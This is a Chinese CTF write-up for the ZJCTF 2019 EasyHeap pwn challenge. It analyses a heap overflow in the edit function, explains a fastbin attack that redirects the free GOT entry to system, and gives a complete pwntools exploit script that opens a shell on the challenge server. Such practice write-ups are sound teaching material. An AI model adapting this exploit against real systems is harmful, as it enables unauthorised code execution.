[ZJCTF 2019]EasyHeap

逆向分析

--------------------------------
       Easy Heap Creator       
--------------------------------
 1. Create a Heap               
 2. Edit a Heap                 
 3. Delete a Heap               
 4. Exit                        
--------------------------------
Your choice :

create 函数

    heaparray[i] = malloc(size);
    read_input(heaparray[i], size);
  • heaparray[i]:存放 chunk 的地址。
  • read_input(heaparray[i], size):向 chunk 写入 size 大小的内容。

edit 函数

    read_input(heaparray[v2], v0);
  • read_input(heaparray[v2], v0):向 chunk 中写入 v0 大小的内容,也就是说如果 v0 比 create 时的 size 大的话就会造成堆溢出。

delete 函数

    free(heaparray[v1]);
    heaparray[v1] = 0LL;
  • free 掉对应 chunk 且指针置 0 了。

利用思路

  • 创建3个 chunk ,chunk 0 1 2 ,chunk 1 的内容为 /bin/sh 。
  • 我们可以用 house of spirit 技术,伪造 chunk 至 heaparray 附近,这样操作在 malloc fastbin 时需要绕过大小判断,我们可以巧妙地利用地址开头 7f 来伪造大小为 0x70 的 fastbin 。
gdb-peda$ x /20xw 0x6020a0 - 3
0x60209d:   0x20000000  0x242d0af6  0x0000007f  0x00000000
0x6020ad:   0xe0000000  0x242d0ae8  0x0000007f  0x00000000
0x6020bd:   0x00000000  0x00000000  0x00000000  0x00000000
0x6020cd:   0x00000000  0x00000000  0x00000000  0x00000000
0x6020dd:   0x10000000  0x0000d7b0  0x80000000  0x0000d7b0
  • 然后通过伪造的 fastbin 输入内容覆盖 chunk 0 的地址为 free_got 的地址。
  • 通过编辑 chunk 0 将 free_got 地址改为 system 的地址。
  • 这样 free chunk 1 就会执行 system('/bin/sh') 拿 shell。

exp 脚本

from pwn import *

#p = process('./easyheap')
p = remote('node3.buuoj.cn',26672)
elf =ELF('./easyheap')

context.log_level = 'debug'

def create(size,content):
    p.recvuntil('Your choice :')
    p.sendline('1')
    p.recvuntil('Size of Heap : ')
    p.send(str(size))
    p.recvuntil('Content of heap:')
    p.send(str(content))    

def edit(index,size,content):
    p.recvuntil('Your choice :')
    p.sendline('2')
    p.recvuntil('Index :')
    p.sendline(str(index))
    p.recvuntil('Size of Heap : ')
    p.send(str(size))
    p.recvuntil('Content of heap : ')
    p.send(str(content))

def free(index):
    p.recvuntil('Your choice :')
    p.sendline('3')
    p.recvuntil('Index :')
    p.sendline(str(index))

free_got = elf.got['free']

create(0x68,'aaaa')
create(0x68,'bbbb')
create(0x68,'cccc')
free(2)

#gdb.attach(p)

payload = '/bin/sh\x00' + 'a' * 0x60 + p64(0x71) + p64(0x6020b0-3)
edit(1,len(payload),payload)

create(0x68,'aaaa')
create(0x68,'c')

payload = '\xaa' * 3 + p64(0) * 4 + p64(free_got)
edit(3,len(payload),payload)
payload = p64(elf.plt['system'])

#gdb.attach(p)

edit(0,len(payload),payload)
free(1)

#gdb.attach(p)

p.interactive()

get flag

内容来源

buuctf pwn | summerN's blog

猜你喜欢

转载自www.cnblogs.com/luoleqi/p/12395985.html